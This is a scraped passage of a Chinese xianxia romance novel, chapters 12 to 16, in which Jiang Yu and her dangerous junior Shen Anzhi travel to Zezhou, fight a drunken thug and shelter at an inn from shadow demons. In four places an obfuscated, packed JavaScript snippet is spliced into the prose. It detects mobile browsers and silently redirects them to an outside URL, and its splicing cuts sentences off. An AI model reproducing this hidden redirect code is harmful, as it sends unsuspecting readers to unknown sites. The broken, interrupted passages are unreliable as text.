他眉梢一挑,看完一场愉快闹剧。指腹轻缓抚弄铜钱,有一搭没一搭地摩挲着。而另一只手掌,血色蜿蜒自他苍白的腕骨滴落在白玉石板上,绽开妖异红梅,他却连眉峰都未动分毫。任那温热血珠顺着掌心纹路溅落在地面,他意识不到嘛…… 姜喻走到他身边,犹豫了一下伸出手,轻轻抬起他的手腕,一股电流仿佛从她指腹接触的肌肤传来。 沈安之压下一丝兴奋来势汹汹,压下鸦睫俯视着她的蝴蝶发髻,目光游移到她白皙脸颊,似乎在关心他,掩盖住眼底的莫名躁动的情绪。 见他没有甩开手不耐拒绝,姜喻忍下微不可察的紧张,一边拿出药瓶撒下药粉,小心包扎,一边小声解释:“昨日之事我听他们说了,以后他们找你麻烦你就告诉我,我给你出气。”说完,姜愉莫名心虚。 毕竟曾经的原主造成的伤害是实打实存在并发生了,她完全不能当做视而不见。 “你受伤没……”姜喻抬眸眨了眨眼。 “师姐担心我落了他们下风?”沈安之弯唇一笑,却是冷寒的声音。眸光落在染血的伤口,白布条在她生疏的手法下包扎的歪歪扭扭,她用了一种他从未见过的打结方式。 “不会啊。”姜喻认真地口气,“我相信师弟啊。”染血的绷带在她素白指尖绕成繁复的蝶扣,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542538|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻拉着两端打了个漂亮蝴蝶结。 她满意一笑,抬眸见他眸光落在结上,“师姐这结……倒是精巧,我从未见过。” 姜喻见他此刻垂眸,不见平日妖孽杀意的模样,仿佛与平日的沈安之撕裂开…… 意识到自己想了什么,姜喻愣了一下。 她怎么可以这么想。 收敛心神,姜喻指了指他掌心的蝴蝶结,“这叫蝴蝶结,是我家乡独特的结扣方式。” 沈安之垂眸瞧着她亮晶晶的妍丽眸子,心底深处涌出莫名的情绪,道不清是好奇多,还是觉得玩味的有趣。 他倾身握住她手腕,抬手让她尾指轻轻一钩,蝴蝶结顺着力道散开。 “再来一遍……” 姜喻呆愣了一瞬,抬眸刹那,视线交汇,那道温热的温度从他握住的腕骨传出。 姜喻慢慢抽回手,垂眸认真重新给他再打了一次。 沈安之垂眸,他一遍记会了。 姜喻打好结把手背在身后。 沈安之看着她的小动作,莫名情绪起伏了一下又消失。 她瞧着打好的蝴蝶结,含笑开口道:“师弟,我打的结好看吗?” “马马虎虎。”沈安之看着蝴蝶结,静默一息,目光游移在她面颊,陡然想到什么,语气压低:“师姐,有打算如何寻得我需要的草药?” 姜喻抬眸,“此次泽州下山之行,师弟随我一起可好,我想起了一些线索可找到这些珍惜药草。” 沈安之压迫感的步步靠近,看她抬眸茫然地眨了眨眼,眼底闪过一丝兴奋。扯了扯唇角,修长如玉的指尖夹着一枚带着体温的铜钱,若有若无地划过她脖颈动脉。 “师姐,师弟平生,最不喜有人欺骗。” 姜喻心里咯噔一下,“我明白。” 沈安之心情不错,指尖摩挲铜钱,慢慢收回,指腹按捻着铜钱的纹理,仿佛沾染着一抹不属于他的气息和温度。向前走了一两步,回眸侧身看向绯红衣裙的少女,“我还不至于在一群蠢货手上受伤。” 13. 第13章 直到那道玄色人影离开,姜喻才收回视线。 长睫翕动,额头沁出的小汗珠顾不上擦,她立马提着裙裾往回走,得赶紧为下山做准备。 沈安之如今可以为了抑晦丹暂且按捺住不杀她,可难保一路上不会遇到其他危险存在。 恶补书籍知识的几日里她从只言片语中知晓,五人那日寻到沈安之奚落时,打中得只是一道沈安之留下法阵中的幻影。 至于五人鼻青脸肿,他们怀疑是哪个弟子看不惯蒙着黑揍了一顿。 姜喻以手支颐,神色微动,看着众人尚未消肿的脸颊絮絮叨叨经过,绘声摹形的讲述,素手下意识摸了摸后颈,莹白肌肤激起细密疙瘩。 快准狠,不留情的模样,脑海里很快浮现了一道人影…… 不过以他们现在在鹤门宗人嫌狗憎的样子,谁都有可能怀疑一下。 她眸光流转落回书页的小字上,听闻顾疏雨闭关,七日内不会离开宗门。她打心底希望顾疏雨同行能管住沈安之,但终归是她的任务,在不确定会不会影响原书剧情下恐生意外。 囫囵吞枣学完原主看过的内容已是三日后,姜喻拿出了百分百期末复习的抱佛脚危机感,做足下山的准备。 提前与沈安之出发泽州。 * 沈安之抱臂来时,山门前冷冷清清。 他倚着山门旁的刻着宗门名字的仙石,山风吹起他发尾的微红,眸光散漫一扫,落在被围在中央众星捧月般那一抹绯红走来。 姜喻一身绯红衣裙勾勒盈盈一握的腰线,青丝挽成蝴蝶发髻,正歪头听着什么,杏眸弯似月牙。 那抹明亮的笑意晃得他眼睛生疼。 沈安之别开脸,复杂的情绪被浓密睫羽生生掩藏,偏生那抹绯红人影总在余光里晃过。 他忽地垂眸冷嗤出声,压下心底躁动的情绪,视线忍不住顺着亮丽色彩飘去。 或许就不该让她靠近除自己之外的人,毕竟,她当务之急该为自己寻找草药。 姜喻这段时日除了灌进大脑知识,私底下更在打好关系,寻了洛无白几人问清从前找茬了哪些人,送上价值不菲的法宝。 她知道这样不可能真正做到什么,可回忆到原著原主大结局孤立无援、落井下石的情形,还是觉得有压力。 姜喻应对完几人的关心,看见沈安之走来,笑着招了招手:“师弟你来啦。”小跑到他面前,“可以准备走了。” 沈安之眸光掠过她身后五人,垂眸与她视线交汇,欺近半步,弯腰时压低声音:“走吧。“ 而在洛无白五人角度,这般亲近的角度叫他们不安又抓狂。 恨不得现在就让沈安之离师姐远一点。 姜喻赶紧跟上他步伐,把一个储物戒指递来,“出门在外的难免磕磕碰碰的受伤。我准备了补灵丹,还有一些可能用上的法宝。” 沈安之查探地看了一眼空间戒指的东西,挑眉侧眸:“师姐准备把家安在里面?” “当然是需要的我都带上,以备不时之需。”姜喻微微抬起下颌,说的理直气壮。她当然是怕回溯呀,谁知道意外和明天什么时候会来。 沈安之眸光流转看向前方,下意识弯唇,真像只绯红小山雀。 姜喻露出皓腕红绳坠着的蝴蝶纹理银铃,微光在银铃表面闪过,柳真人赠她的仙鹤飞出,昂头落地。 乘鹤下山能减少不少脚程,姜喻是个随机应变之人,能坐着绝不站着。 姜喻捧着书啃下那些药草知识,背的眼花恶心了。别说原主了,就连她偶尔都想把书丢在一旁去,眼不见为净。 姜喻瞧着仙鹤羽翼上流转的阻挡风雨的护身法阵,偏头看向沈安之俊容,他单只手反枕在脑后,身形修长,悠哉地躺平在仙鹤羽毛上,像裹着件雪色鹤氅。 垂落的发梢与鹤羽缠在一起,鸦睫撒下一小片阴影,闭着眼睡得安稳。 她肚子咕噜一叫。 他到底什么时候才会醒啊,看看她这个快饿到昏厥的人啊。 她忍不住放轻脚步,缓步走到他身侧,开口提醒:“我们一天没吃东西了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542539|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见沈安之没有反应,她几乎要被气笑了。 法阵散发的微光映得他面色白皙,这黑心莲昨日还威胁盯着她脖子说要不能欺骗,此刻倒像尊琉璃像似的安静睡着,毫无攻击性。 她索性蜷蹲在他身侧,指尖一点点戳在他的手背,“师弟,你不饿我饿,我不想再吃干瘪的干粮。” 沈安之长睫微动,微蜷的尾指划过她的腕骨挂着的银铃,悠悠抬眸撞入那双亮晶晶的眸子,他散漫乜斜,深究问道:“师姐如今都未辟谷了。” “对啊。” 沈安之没有再多说。 默念口诀,仙鹤应召落在了一座城池外。 姜喻抬首望着高耸的城墙,两人并肩同行进入城门,热闹集市上人来人往,东西多的,看的她眼花。反观身侧沈安之提不起半丝兴趣,迈步跟在她一侧。 她个头不高,摩肩擦踵时,肩膀蓦然一痛,匆忙赶路的人撞的她后退一步,直愣愣地撞向一侧,眼疾手快地伸手抓上一旁的手臂,顺势撞了上去。 少年肩胛精瘦,磕的她鼻头微红,水雾瞬间漫上妍丽的眸子,疼得她“嘶”了一声。 拉扯时衣襟斜敞,露出半掩的肌肤,手隔着玄色布料是消瘦精壮的身材,视线顺着白皙凸起的锁骨下去,姜喻正欲后撤,她眼花看见一道猩红暗芒,在衣领下狰狞的旧疤一闪而过,转瞬没入玄色衣领。 沈安之微微挑眉,抬指拉了拉衣领,深邃眸子里漆黑的瞳仁盯着她,唇角扯着不咸不淡地弧度:“师姐这么喜欢看?” “抱歉啊,师弟。”姜喻悻悻松手,面颊染上薄红。沈安之过高的体温烫地她小步离远。 姜喻转眼看见一家三层高的酒楼,转移话题道:“吃那个吧。” 她和小二点好酒楼特色菜,刚喝了一杯茶水,距离她发梢一米外,一闪着微光的暗黑色铁锤闪出。 飞溅的木屑距她半米停滞。 指尖微抬,铜钱抛掷而起。 流光闪过的透明结界包裹两人,周围人难以幸免,全被一击的震飞出去。 14. 第14章 姜喻捏着水杯,差点被茶水呛到。 退一万步讲,算了,退一万步太累了。 “小二,来壶酒。”来者是个青年,一脸胡络腮,长相因淫邪放纵面色不佳,醉醺醺地睁开眼看向酒楼大厅中央唯一完好的桌面,居然只有一对少年少女,长的细皮嫩肉,瞧起来弱不禁风。 “快滚,给爷爷我让出位置。”他醉意地召回铁锤,捶了一下桌面指着他们。 姜喻循着粗犷声音看清他凶神恶煞的长相,又看着摔得七荤八素的食客,一个个挂了彩,一股子怒意和寒意从脚底心同时传来,手下意识攥着袖口。 此起彼伏地奔跑声混杂着呼救声中,险些忘了呼吸,硬生生憋红了脸。 “呼吸啊,师姐。”沈安之恹恹垂睫,白玉盏沿抵着薄唇,慢条斯理对着茶盏轻呷一口,余光瞥了她一眼脸颊的红晕。 姜喻深吸一口气,胸腔起伏几次,挤出浅笑:“刚刚多谢师弟。” 一锤子下去,若没有沈安之……她只觉得头皮发麻。 “小姐公子你们快快走吧。”小二声音发颤,战战兢兢地给青年上酒,路过他们时目露惊慌。 “不走。”沈安之目光停顿在姜喻苍白面颊,他随意地单手撑起下颌,指尖漫不经心地点了点茶水在桌面轻划出一道水渍,“师姐,害怕吗?” 难不成快成人民碎片的场景…… 姜喻咽了口唾沫,“我怎么可能害怕,我有符纸护身了。” 沈安之看她又惧又逞强嘴角嘴硬的样子蓦然弯唇,眼尾朱砂痣妖冶。 “不然,师姐自己解决吧。” 姜喻瞪圆亮眸,脸颊漫上紧张的薄红仍未察觉,“行。” 沈安之见她如此,尾指蜷了蜷,眼底闪过一丝玩味笑意。目移到青年身上,丹凤眸光挟着寒意,他声音不大,威压十足:“你太吵了,扰了我们清闲。” 青年抬脚站起身,迷离着一双眼,目光落在俊朗到雌雄莫辨的沈安之,色.欲眼神流转直勾勾地落在姜喻身上。醉醺醺笑着喊道:“这哪来的两个娇滴滴的小娘子,掐着要掐出水似的。” 沈安之睫羽低垂,取出一枚铜钱摩挲在掌心。 真聒噪…… 真想剜了这双恶心的眼…… 姜喻强忍着按耐不动,若非沈安之就在此,她本能地缩到后面去。 “怎么不回话?”青年被两人一同无视,眼底掠过鹰隼恶狠的幽光。 走近伸手去抓姜喻胳膊,被结界反弹,强风惹的他睁不开眼,后退几步,惊疑不定地注视他们:“带劲的美人才有意思,跟我以后有的是……” “你想说吃穿不愁?”沈安之侧身慵懒地伸长腿,左耳银耳夹坠下鲜红流苏一摇一晃,把玩的铜钱注入法力。 “把你身侧小娘子交给我……”青年舔了舔嘴角,“不交给我,我保证你们全部走不出白城。” 姜喻嫌恶地避开他的目光,拳头寸寸捏紧,从袖口取出几张黄符。 沈安之眸光忽的看向她,指尖轻扣一下桌面,“我非多管闲事之人。” 姜喻转眸看向恣意不羁的少年。 沈安之挑起眉梢,邪性从故作温良的笑意渗出,眸光直视姜喻像极了紧盯猎物,视线交汇又微微歪头错开目光:“低头,继续吃。” 姜喻不解地夹了一口菜,余光瞥了眼并未消失的结界,沉底的心稳稳浮起来。指尖发白得捏紧袖口的黄符,埋头小口吃着。 “算你识相。”青年醉意地哈哈大笑,胜券在握地模样,再度伸手却惊觉无法动弹。 沈安之微抬棱角分明的下颌,瑰丽五官,托腮唇畔漾开一抹秾艳笑意,眼底晦暗不明,眼尾朱砂痣随着笑仿佛灼灼生辉,指尖摩挲着桌面的铜钱,打转后一滑而过,“你声音太大吵到我,有事,下地府说吧。” 青年狂妄地啐了一口,“别怪我不怜香惜玉,拿命来。” 铁锤带着悍然巨力抡在结界上,肉眼可见的波动自碰撞处爆开,空气的灵气瞬间沸腾。 “咻——” 金色剑光掠过惊人,青年瞳孔地震,难以置信地捂着颈部,“嘶哈”两声怒瞪,颤抖着指着他。庞大身躯倒地,扬起一层簌簌尘埃。 伴随着周围此起彼伏的尖叫,听到重物倒地声音,她长睫轻颤,干咽了咽唾沫,阖上眼喝下一杯茶水。 不用抬头看便知那人的下场。 弥漫的难闻血腥和尖叫声一起袭来。 “死了死了,小姐公子你们快些逃吧!”小二跌坐在地,惊恐万状地调头连滚带爬得跑去找掌柜。 “死了好啊,这小子奸杀少女,死了大快人心。”有人鼓掌称赞。 “真惩恶扬善少年啊。”老者认同。 人群攒动,也有人真心劝道:“白城李家豢养的打手,你杀了他,李家会报复你们的。” 姜喻不敢懈怠,三两口吃完,鼓着腮帮快速咀嚼完才道:“师弟,我吃好了,我们快走吧。”听人劝,吃饱饭啊。 英雄也难敌四拳。 沈安之不置可否,起身将银钱放在柜台。 两人一出酒楼门槛,还未出白城,几道影子如影随形。 沈安之弯唇露出嘲弄一笑,偏头看向快步戒备四周的姜喻,只觉得这只绯红小山雀趣味的很。 “师姐,不想试一试狩猎猎物的乐趣嘛?” “啊?”姜喻还未反应来,沈安之伸手拉着她的袖子,快步穿梭在人群里。 玄色带着那抹绯红融入人海。 温热指尖攥着绯红衣袖,手背偶尔相触,带着陌生的异样感。 紧跟的人看他们钻进人群,赶紧加快脚步离他们不远不近。 姜喻屏住呼吸,心有戚戚。 步入幽暗的巷道,沈安之单手虚贴在她后颈,微微俯身呼吸交织。 “别回头才有趣。”少年肆意得让人恍惚。 一滴冷汗从额头滑落坠落,姜喻侧眸问他:“又打?” “师姐,不用回头。”沈安之含下一颗栗子糖,伴着甜滋滋的味道在舌苔弥漫笑得随意,大步向前余光朝后瞥了一眼。 阵法里剑光如影,血肉飞溅,爆出的血花从不知名位置爆炸,他声线压低,凉凉吐出:“不堪入目。” “啊啊啊,快破——” “哪来的阵法,该死啊——” “好疼啊,快跑!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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趴在松木桌上的店小二困得前仰后合,脑袋小鸡啄米般一点一点。忽有光影掠过半垂的眼帘——一双暗金花纹长靴踏碎满地夕阳余晖,他下意识站起身,掌心重重蹭过粗布衣裳,含笑照例询问:“呦,贵客临门呐,是打尖还是住店?” “住店。” 答话的少年身量身形挺拔,如新抽节的青竹,粗布短打的小二站起来的身高勉强够着他鼻尖。 来往客人他见过没有一万也有一千了,还没见过哪个客人皮相如此古雕刻画,跟庙宇供着金边神像似的,一身玄衣看起来普普通通,却偏生出三分矜贵气。 店小二引他行至柜台前,记账的掌柜随手拿出笔纸,洪亮的声音带着一丝讨好的笑问:“贵客你要几间房?我们有上中下三品房。” “一间下品房,一间上品房。” 少年声音不大,足够临桌几个喝茶谈论的客人放低嗓音,探究地目光投向新来的人。 一男一女,年纪不大,瞥见衣裳上绣着仙鹤云纹,很快有人猜出鹤门宗的弟子身份。 “一起住下品房,我不挑的。” 15. 第15章 小二顺着清脆声音看去,往少年身后一瞧,高挑少年把身后绯红衣裙娇俏女郎挡了全部,仅一眼就让人心神失守。 艳若桃李,眉眼弯弯,一身绯红衣裙衬着妍丽容色,不染胭脂水粉,像朵绯红菡萏。 姜喻眸光潋滟生光,余光瞥了眼沈安之腰间蹀躞挂着的储物袋,知晓他自上次购得药草囊中羞涩。 沈安之指尖轻敲桌面,“照我说的办吧。” 掌柜开客栈多年,见多了此情此景,习以为常。面色淡定地磕着瓜子,等待两人商量出个对策。 沈安之淡定地看着姜喻,挑起眉梢。 姜喻思绪飞速运转,脑海灵光一闪,腕间金铃轻晃,抓住师弟欲退的袍角。理直气壮道:“此地妖邪出没,师弟和我本该互相照应,上下包厢隔的较远不说,还不安全。我们两个住地近一点,大不了,住一间我都是不挑的。”大胆发言完,姜喻咽了口唾沫。 “我无所谓。” 沈安之怔愣了一下,不以为然地指尖轻叩击桌面,却下意识眸光流转看着姜喻脸颊透出的淡粉色,脑海又轻吟慢念起少女的“喜欢”二字。 沈安之眸光微闪,按捺住心头的一丝困惑。 姜喻没想到他会答应,眼底狡黠愈发明亮。生命诚可贵,节操价更高,若为回家故,两者皆可抛。 她弯眸一笑道:“那晚上害怕,我可是要跑过去的。”说完强忍着面颊烫意。 沈安之悠悠抬眸,不知在想什么,漆黑瞳仁盯着她,身子一瞬紧绷后侧靠柜台恢复一贯懒散样,“师姐确定?” 姜喻假装没瞧见师弟骤然的视线,白玉耳尖漫上绯色。 “当然呀。” 原著中这妖邪描述金额是只千变万化,随心所动化作人形的黑雾状邪祟,极为凶险。 现下,沈安之在,她能安心许多。 姜喻笑着竖起两根手指,“掌柜,两间上品房。”她银钱给的痛快,掌柜笑着一边打算盘,一边默默用眼神不经意在两人中间一扫。观两人年纪不大,没想到看似年纪最小的师姐与这师弟是那般关系。 果真是郎才女貌,过了眼瘾。 “两间白虎天字上品房,客官这是钥匙,上三楼右侧的第一、第二间。” 姜喻接过一把钥匙摇晃着,上楼推开门进屋前瞟了一眼,沈安之房间在她右侧。 她收拾完被褥,饿得受不了,记得沈安之不吃,自己下楼点了几碟菜。邻桌只有四人喝酒、吃茶,偶尔低声细语,眼神来回,观察四周。 除了这桌客人,店内很是冷清。 夜色如墨倾轧而下,屋外顿时大雾席卷弥漫,将檐角灯笼掐得只剩豆大一点猩红,好似吞噬掉一切落单的可怜之人。 据店小二所说天乩城地处偏僻,此地房屋设置是按八卦阵型所建,内含除妖法阵,走进去,未佩戴专属天乩城腰牌,加上不熟悉地形的人,会像只睁眼的瞎子来回晃悠。 现下法阵阵眼被破,早就失去功效。自从邪祟出现,大雾浓郁,越来越多人在黑雾中消失无踪,不过半月功夫,大家惊慌下陆续搬离天乩城。 “八卦阵,我知道一个叫诸葛亮的前辈。”姜喻随口嘟囔,一旁小声低语打量她的一人停下说话声,似有若无的视线有些灼热。 姜喻顺着探究目光看去,正对上一双浅绿色的眼瞳,漂亮妖冶。墨绿发色玉冠竖起,五官精致的颇具异域风的少年郎。 贺宁辞对她下颌微压,颔首礼貌点头,偏那唇角扬起,眼尾漾开三分笑意,不失少年风发意气,让人想起夏夜繁星下的芳草。 姜喻礼貌微笑,收回视线继续吃了一口菜。 掌柜看了眼大门外的肆意雾气,吩咐店小二,两人战战兢兢地阖上木门,用蘸水的白布塞紧门缝,撒下一圈白糯米。 他担忧地叮嘱剩下几位食客:“客官们,今晚早些上去休息,若是有异动也千万别轻举妄动,最好结伴同行。” 她三两口解决完,飞速回屋关上门。手心中宝珠的微光加上摇曳的烛光,室内一片安详。 想到原著有鬼有妖,姜喻出门敲响隔壁的门。 门打开一半,带着出浴时皂角香的黏糊湿气。 沈安之湿披着一头墨发,泼墨般垂落腰际,暗红色发尾正往下滴着水珠,剑眉透着热潮,额角凝着未拭的水痕,那双眸子眼尾洇着薄红,灼着暗潮。 沈安之斜倚着门框,衣襟口滑开半寸,水痕蜿蜒没入锁骨下的暗影里,垂眸看向妍丽的亮眸,紧缩的漆黑瞳孔。他才慢慢整理起松松垮垮的里衣,里衣沾了滚落的水珠,贴和胸膛的肌肉线条,分明纹理下勾勒出强健有力的腰线。宽肩窄腰大长腿,隐约露出两点殷红…… 姜喻呆愣了一瞬,赶紧垂下头。 “师弟,我来的不是时候。” 美人在骨不在皮,说的是沈安之这样的妖孽吧。即使他换个朴素至极的女装,估计都美的不俗。 沈安之倾身,压低声音轻唤:“师姐,怕什么?” 姜喻抬眸看薄唇一张一合,尬笑一下移开目光,“我没啊。” 她咳嗽了两声,长睫轻颤,脸颊微微泛红。 她来的太不是时候啦…… 沈安之悄然挑眉。 眼尾朱砂痣妖冶,瞧着她亮晶晶的眸子忽闪忽闪。 姜喻转身欲走,身形一踉。 顺着拉扯的力道扭头看去,一节沐浴后泛着薄粉的尾指轻勾住她的后衣襟,散漫微眯的丹凤眸带着一丝玩味笑意,“师姐想送死,就大胆回去。” 果然,比起邪祟,沈安之是更安全一些。 姜喻抿了抿唇,眼眸一亮,说了声谢谢转身钻进屋,生怕沈安之心血来潮把她重新赶出去。 沈安之半耷散漫地垂头,微顿的陷入沉思状。谢谢他做什么,深邃视线盯着那抹小巧绯红人影擦过自己身侧,一溜烟跑进去。 披散开的乌黑秀发掠过他的手背,尾指微蜷,空气沁着像水蜜桃,像栗子糖的馨香。微微凉凉,透来一丝痒,心口像是突然被挠了一下。 “……” 姜喻放下宝珠在桌上,自觉又熟练地开柜门,打地铺,沉闷味道惹她鼻子痒地连打喷嚏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553680|171046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜喻回头示意:“我睡地铺。” 沈安之拴上门,缓步去到屏风后穿戴地整整齐齐,勾起左侧屏风上挂浴巾,随手擦着湿漉漉的墨发走出。看见姜喻利落地打好地铺,和衣躺下侧躺微蜷着,只露出一个脑袋。 沈安之径直掠过身侧,坐在床沿侧躺上床。 姜喻脑袋正好对着他的床,看他合衣躺下,小声提醒道:“师弟,头发干了才能睡。不然,会头疼。” 没有吹风机时代,是怎么解决这个问题的?姜喻再一次忘了这个修真界不用吹风机,也是无所谓的。 姜喻拉了拉被子窝着脑袋,闭上眼。 沈安之抱臂躺在床上,视线不知怎么的,侧眸看去披头散发睡的昏昏欲睡的某人。 看起来很脆弱,比嚣张跋扈的曾经的她更有趣。倘若轻掐上脆弱的脖子,乖乖去死的她,临死前表情应该更有趣吧。 眸光晦暗不清,不知为何莫名有些心烦,挥去古怪的想法,沈安之忽的弯唇一笑。 “既然如此……师姐来了,不吝啬帮师弟擦头发吧。” “行啊,我来吧。”姜喻认命得从被窝里脱身,拿起一旁的浴巾走到床沿。 沈安之支起身子,绸缎般的墨发随意披散,逶迤床上,微微侧眸弯唇。几缕湿发黏在颈侧,他垂眸微微偏头,发梢水珠正巧坠在姜喻腕间。 姜喻折叠好浴巾,一点点从上至下擦去发尾,微红发尾坠下水滴在她手背,那滴顺着腕骨滚落的水痕,带着一股别样的温度。 从她角度看去,鸦羽长睫下眸光流转,像极了叼住猎物咽喉还要故作委屈的狐狸。 她习惯性说一句,如果扯疼了记得告诉她。 姜喻羡慕地瞧着乌黑柔顺的头发。 “师弟,你头发怎么养护才能像你一样又黑又顺?” 擦头发的动作很舒服,沈安之放松警惕慢慢阖上眼:“天生。” 指尖携着一股暖意游走于发间,在掠过耳后薄肤时骤然蜷起,姜喻一时慌忙缩回手,放缓呼吸,继续佯装若无其事。 难以自抑地异样感,他呼吸一滞,喉结一滚,猛地睁开眼。 莫名情绪又徒生,比曾经心绪来的更快。 沈安之微侧头,内心遏制住扣住她皓腕的冲动。为了掩饰此刻的不自然,他随口询问:“师姐,为何手法熟练?” 烛光轻声噼啪炸响。 丹凤眸内掺杂裹挟着难以发现地暗红微光,看得晦暗不清。 姜喻手一顿,他在问什么送命题…… 见她没立马不答,沈安之手指蜷紧,下意识问道:“师姐也会给同院门其他师弟擦拭头发?”问完沈安之心里有些懊恼,竟问出这般无聊又愚蠢至极的问题。 “当我没说。” 姜喻当机立断地摇头,“我可只给你一人擦拭过。” 沈安之旋即唇角微微上扬又消失,收回目光:“那辛苦师姐,接下来一路同行,我的头发都拜托了。” 姜喻想到刚刚的触碰,顿感是个良机,却又怕表现的太明显,小声开口:“可以拒绝吗?” 16. 第16章 “师姐不愿?”沈安之微挑眉梢,微微倾身,抬起指尖缠上自己一缕垂落的青丝。 姜喻含笑地轻擦:“也不是不行。”她赶紧擦完他剩余的头发,准备放下浴巾,“好了。” 沈安之尾指似有若无划过她手腕的银铃,骤然收拢掌心抓住她纤细手腕,指尖下意识摩挲着她腕间跳动的筋脉。 “别动……”沈安之脸色微变,烛光里手中骤然绷紧的刹那,倏地松手,翻身面壁墙壁躺下,“睡去。” 姜喻看了一眼他的背影,脱下鞋袜,钻进铺盖蒙头一盖:“师弟,晚安。” “晚安……何意?”沈安之反手枕在脑后,阖上眼。 姜喻看了一眼床榻上的玄衣少年,“祝一个人睡的安稳,做个好梦的意思……所以,叫晚安。” 沈安之掀了掀嘴角,道不明的情绪闭上眼。安静不答,指尖摩挲着一枚铜钱陷入沉思,却隐隐觉得少了点什么。 姜喻闭上眼装睡,慢慢睡过去。锦被下透出闷闷的嘟囔:“这次真睡啦……”声音未散便坠入烛光里。 当绵长呼吸响起时,沈安之竟也觉长睫重若千钧,听到她悠长的呼吸声,莫名涌上一丝睡意。 陡然,衣襟下旧疤发作的钝痛,暗红微光闪过,沈安之紧锁剑眉捂住胸口,呼吸刹那看了眼恬静的睡颜,他长舒一口气咽下口中腥甜,细细密密的钝疼在一柱香后消失。 待疼痛散去,他早已额头密布汗珠,发白唇瓣微微翕动,虚弱地坐起身无声调息。 平日很难入眠的他重新躺下,今日睡意却来的极快。 姜喻听到悉悉索索的声音,半梦半醒得在半夜翻了个身,闭眼再睁开。 不敢睁开眼,希望是幻觉。 她确保自己没看走眼,下意识屏息的去摸隐匿在袖口的炽阳符。 那颗宝珠不知何时从她枕边滚到靠门口的地砖上,堪堪停在距门三寸处。 木门外,骤然出现如烟般的生物歪歪扭扭。三团婴首大小的黑影自门缝窥伺,裹着腐叶气息的瘴气丝丝缕缕渗进来,门上铜锁发出不堪重负的吱呀声,黑影缓慢地在外面膨胀成扭曲人形。 姜喻猛地咬住下唇将惊呼咽回喉间,捂住唇压制急促的呼吸,心快跳出胸腔似的。 她赶紧蹑手蹑脚地爬起来,攥紧拳头的指尖发白,靠坐在床沿扯了扯沈安之衣袖。 “师弟师弟……”姜喻尽量压低声音轻摇晃他的手,声音带来一丝紧张的气音,“醒醒,沈安之,醒醒,应我一下……” 意识到沈安之没醒,更没被那声带嘲弄一笑的"师姐"打断。 她凭借烛光看清一张苍白面颊,掌心贴上他的前额,额头沁着冷汗蜿蜒。 “我不会让我们两一起死。”姜喻担忧地收回目光,目光逐渐坚定地看向木门。 她摸出储物袋内所有买下的炽阳符,若黑影打算强攻进来,她便全甩它们脸上,给它们炸翻天和星星肩并肩。 屋外黑影从门口处慢慢蠕动到窗户口,木窗发出不甘承受的吱嘎声。白色窗户纸若是对上妖物一击即击破,但它们却偏偏选择围这客栈左右从右往左来回蠕动。 姜喻看了眼少年床榻上侧后一大块足够她坐下的区域,提起裙裾爬上去,摸上他微烫的掌心,指缝透过的热潮,泛着灼热让人无法忽视。 她垂眸看去呼吸一紧,飞速弹开压上去的素白指尖。 沈安之闷哼了一声,长睫如蝶翼般轻颤着掀起。 视线在床尾海棠搬绯红的裙裾骤然凝滞,正膝行准备爬过去的少女慌忙偏起脸,莹亮的眸光撞进蒙着阴翳的瞳孔,他视线懒洋洋地与她视线交汇。 他掌心落着一截她腰间绦带,指尖下意识轻轻摩挲,分明没有温度,却好似能感觉到刚刚落在指尖的余温。 眸光流转着玩味笑意,尾指微微一勾,在她差点倾身时坐起身来,垂眸与她四目相对。 “那些东西暂时进不来。”沉闷沙哑地嗓音带着绝对安抚,见姜喻松了一口气,他忽的弯唇靠近,“不过,师姐现在可知,是在师弟榻上?” 她身体一僵,不想承认刚刚自己担忧他,又害怕时做出之事。 “师弟这床宽敞得很,”话音未落完,她莹白耳尖逐渐攀上微红,索性扯过半截被子将自己半裹成蚕蛹,露出双亮晶晶的眸子,“我今夜偏要睡这里。” 沈安之看她缩在床根不肯走的样子,抬手轻揉了下眉心,半眯着丹凤眼瞥了眼窗外之物,不以为意勾唇。 视线落在裹紧被子缩成团,与他一臂之距装睡之人。 若她刚刚转身抛下他离开,定会被窗外妖物蚕食一干二净,而她偏偏留下却扬言保护。 垂眸看在落在空落落的掌心,目光散漫,视线从掌心纹理游移到倩影上。 不解地歪头。 倒底为何? 第三次心绪莫名…… 都因一人。 